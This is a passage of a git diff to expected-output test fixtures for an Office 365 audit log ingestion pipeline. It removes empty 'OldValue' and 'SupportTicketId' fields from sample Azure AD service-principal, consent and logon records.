+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -16751,30 +16256,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem2",
- "OldValue": ""
+ "NewValue": "siem2"
},
"ServicePrincipal_Name": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -16955,30 +16454,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem2",
- "OldValue": ""
+ "NewValue": "siem2"
},
"ServicePrincipal_Name": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -17159,30 +16652,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem2",
- "OldValue": ""
+ "NewValue": "siem2"
},
"ServicePrincipal_Name": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -17363,30 +16850,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem2",
- "OldValue": ""
+ "NewValue": "siem2"
},
"ServicePrincipal_Name": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -17567,30 +17048,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem2",
- "OldValue": ""
+ "NewValue": "siem2"
},
"ServicePrincipal_Name": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -17771,30 +17246,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem2",
- "OldValue": ""
+ "NewValue": "siem2"
},
"ServicePrincipal_Name": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -17975,30 +17444,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem2",
- "OldValue": ""
+ "NewValue": "siem2"
},
"ServicePrincipal_Name": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -18178,31 +17641,16 @@
"version": "2"
},
"ModifiedProperties": {
- "ServicePrincipal_AppId": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_DisplayName": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_Name": {
- "NewValue": "",
- "OldValue": ""
- },
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
- "OldValue": ""
+ "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us"
}
},
"ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6",
@@ -18382,31 +17830,16 @@
"version": "2"
},
"ModifiedProperties": {
- "ServicePrincipal_AppId": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_DisplayName": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_Name": {
- "NewValue": "",
- "OldValue": ""
- },
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
- "OldValue": ""
+ "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us"
}
},
"ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6",
@@ -18586,31 +18019,16 @@
"version": "2"
},
"ModifiedProperties": {
- "ServicePrincipal_AppId": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_DisplayName": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_Name": {
- "NewValue": "",
- "OldValue": ""
- },
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
+ "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
- "OldValue": ""
+ "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us"
}
},
"ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6",
@@ -18790,34 +18208,24 @@
},
"ModifiedProperties": {
"ConsentAction_Permissions": {
- "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ",
- "OldValue": ""
+ "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; "
},
"ConsentContext_IsAdminConsent": {
- "NewValue": "True",
- "OldValue": ""
+ "NewValue": "True"
},
"ConsentContext_IsAppOnly": {
- "NewValue": "False",
- "OldValue": ""
+ "NewValue": "False"
},
"ConsentContext_OnBehalfOfAll": {
- "NewValue": "True",
- "OldValue": ""
- },
- "ConsentContext_Tags": {
- "NewValue": "",
- "OldValue": ""
+ "NewValue": "True"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -18997,34 +18405,24 @@
},
"ModifiedProperties": {
"ConsentAction_Permissions": {
- "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ",
- "OldValue": ""
+ "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; "
},
"ConsentContext_IsAdminConsent": {
- "NewValue": "True",
- "OldValue": ""
+ "NewValue": "True"
},
"ConsentContext_IsAppOnly": {
- "NewValue": "False",
- "OldValue": ""
+ "NewValue": "False"
},
"ConsentContext_OnBehalfOfAll": {
- "NewValue": "True",
- "OldValue": ""
- },
- "ConsentContext_Tags": {
- "NewValue": "",
- "OldValue": ""
+ "NewValue": "True"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -19204,34 +18602,24 @@
},
"ModifiedProperties": {
"ConsentAction_Permissions": {
- "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ",
- "OldValue": ""
+ "NewValue": "[] => [[Id: 8OmR-4WUaEqJ6aFk0groVfmOUpib6JpGsZv6jnKgD6Y, ClientId: fb91e9f0-9485-4a68-89e9-a164d20ae855, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; "
},
"ConsentContext_IsAdminConsent": {
- "NewValue": "True",
- "OldValue": ""
+ "NewValue": "True"
},
"ConsentContext_IsAppOnly": {
- "NewValue": "False",
- "OldValue": ""
+ "NewValue": "False"
},
"ConsentContext_OnBehalfOfAll": {
- "NewValue": "True",
- "OldValue": ""
- },
- "ConsentContext_Tags": {
- "NewValue": "",
- "OldValue": ""
+ "NewValue": "True"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -19412,26 +18800,21 @@
},
"ModifiedProperties": {
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"User_ObjectID": {
- "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b",
- "OldValue": ""
+ "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b"
},
"User_PUID": {
- "NewValue": "1003200096971F55",
- "OldValue": ""
+ "NewValue": "1003200096971F55"
},
"User_UPN": {
- "NewValue": "asr@testsiem.onmicrosoft.com",
- "OldValue": ""
+ "NewValue": "asr@testsiem.onmicrosoft.com"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -19612,26 +18995,21 @@
},
"ModifiedProperties": {
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"User_ObjectID": {
- "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b",
- "OldValue": ""
+ "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b"
},
"User_PUID": {
- "NewValue": "1003200096971F55",
- "OldValue": ""
+ "NewValue": "1003200096971F55"
},
"User_UPN": {
- "NewValue": "asr@testsiem.onmicrosoft.com",
- "OldValue": ""
+ "NewValue": "asr@testsiem.onmicrosoft.com"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -19812,26 +19190,21 @@
},
"ModifiedProperties": {
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"User_ObjectID": {
- "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b",
- "OldValue": ""
+ "NewValue": "755e500a-6c03-46b0-b53b-282f23374e3b"
},
"User_PUID": {
- "NewValue": "1003200096971F55",
- "OldValue": ""
+ "NewValue": "1003200096971F55"
},
"User_UPN": {
- "NewValue": "asr@testsiem.onmicrosoft.com",
- "OldValue": ""
+ "NewValue": "asr@testsiem.onmicrosoft.com"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -19906,4 +19279,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-sts-logon-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-sts-logon-events.json-expected.json
index ad1a01d1e5f..77e7080d97a 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-sts-logon-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-azuread-sts-logon-events.json-expected.json
@@ -66,7 +66,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -196,7 +195,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -326,7 +324,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -456,7 +453,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -586,7 +582,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -716,7 +711,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -846,7 +840,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -976,7 +969,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -1106,7 +1098,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -1236,7 +1227,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -1366,7 +1356,6 @@
"ObjectId": "00000002-0000-0ff1-ce00-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0ff1-ce00-000000000000",
@@ -1496,7 +1485,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -1626,7 +1614,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -1756,7 +1743,6 @@
"ObjectId": "00000002-0000-0ff1-ce00-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0ff1-ce00-000000000000",
@@ -1886,7 +1872,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -2016,7 +2001,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -2146,7 +2130,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -2276,7 +2259,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -2406,7 +2388,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -2536,7 +2517,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -2666,7 +2646,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -2796,7 +2775,6 @@
"ObjectId": "00000003-0000-0ff1-ce00-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0ff1-ce00-000000000000",
@@ -2926,7 +2904,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -3056,7 +3033,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
